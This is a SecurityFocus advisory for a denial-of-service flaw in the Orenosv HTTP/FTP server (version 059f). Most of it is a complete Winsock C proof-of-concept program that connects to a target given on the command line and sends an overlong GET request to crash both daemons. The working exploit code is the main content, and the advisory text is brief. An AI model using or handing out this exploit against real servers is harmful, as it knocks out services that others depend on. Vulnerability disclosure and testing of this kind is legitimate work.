source: http://www.securityfocus.com/bid/10420/info

Orenosv HTTP/FTP server is prone to a denial of service vulnerability that may occur when an overly long HTTP GET request is sent to the server. When the malicious request is handled, it is reported that both the HTTP and FTP daemons will stop responding. 

/****************************/
   PoC to crash the server
/****************************/

/* Orenosv HTTP/FTP Server Denial Of Service

   Version:
   orenosv059f

   Vendor:
   http://hp.vector.co.jp/authors/VA027031/orenosv/index_en.html

   Coded and Discovered by:
   badpack3t <badpack3t@security-protocols.com>
   .:sp research labs:.
   www.security-protocols.com
   5.25.2004
 */

#include <winsock2.h>
#include <stdio.h>

#pragma comment(lib, "ws2_32.lib")

char exploit[] =

/* 420 A's - looks ugly but owell */
"GET /AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.0\r\n\r\n";

int main(int argc, char *argv[])
{
        WSADATA wsaData;
        WORD wVersionRequested;
        struct hostent  *pTarget;
        struct sockaddr_in      sock;
        char *target;
        int port,bufsize;
        SOCKET mysocket;

        if (argc < 2)
        {
                printf("Orenosv HTTP/FTP Server DoS by badpack3t\r\n\r\n", argv[0]);
                printf("Usage:\r\n %s <targetip> [targetport] (default is 9999)\r\n\r\n", argv[0]);
                printf("www.security-protocols.com\r\n\r\n", argv[0]);
                exit(1);
        }

        wVersionRequested = MAKEWORD(1, 1);
        if (WSAStartup(wVersionRequested, &wsaData) < 0) return -1;

        target = argv[1];
        port = 9999;

        if (argc >= 3) port = atoi(argv[2]);
        bufsize = 1024;
        if (argc >= 4) bufsize = atoi(argv[3]);

        mysocket = socket(AF_INET, SOCK_STREAM, 0);
        if(mysocket==INVALID_SOCKET)
        {
                printf("Socket error!\r\n");
                exit(1);
        }

        printf("Resolving Hostnames...\n");
        if ((pTarget = gethostbyname(target)) == NULL)
        {
                printf("Resolve of %s failed\n", argv[1]);
                exit(1);
        }

        memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length);
        sock.sin_family = AF_INET;
        sock.sin_port = htons((USHORT)port);

        printf("Connecting...\n");
        if ( (connect(mysocket, (struct sockaddr *)&sock, sizeof (sock) )))
        {
                printf("Couldn't connect to host.\n");
                exit(1);
        }

        printf("Connected!...\n");
        printf("Sending Payload...\n");
        if (send(mysocket, exploit, sizeof(exploit)-1, 0) == -1)
        {
                printf("Error Sending the Exploit Payload\r\n");
                closesocket(mysocket);
                exit(1);
        }

        printf("Payload has been sent! Check if the webserver is dead.\r\n");
        closesocket(mysocket);
        WSACleanup();
        return 0;
}

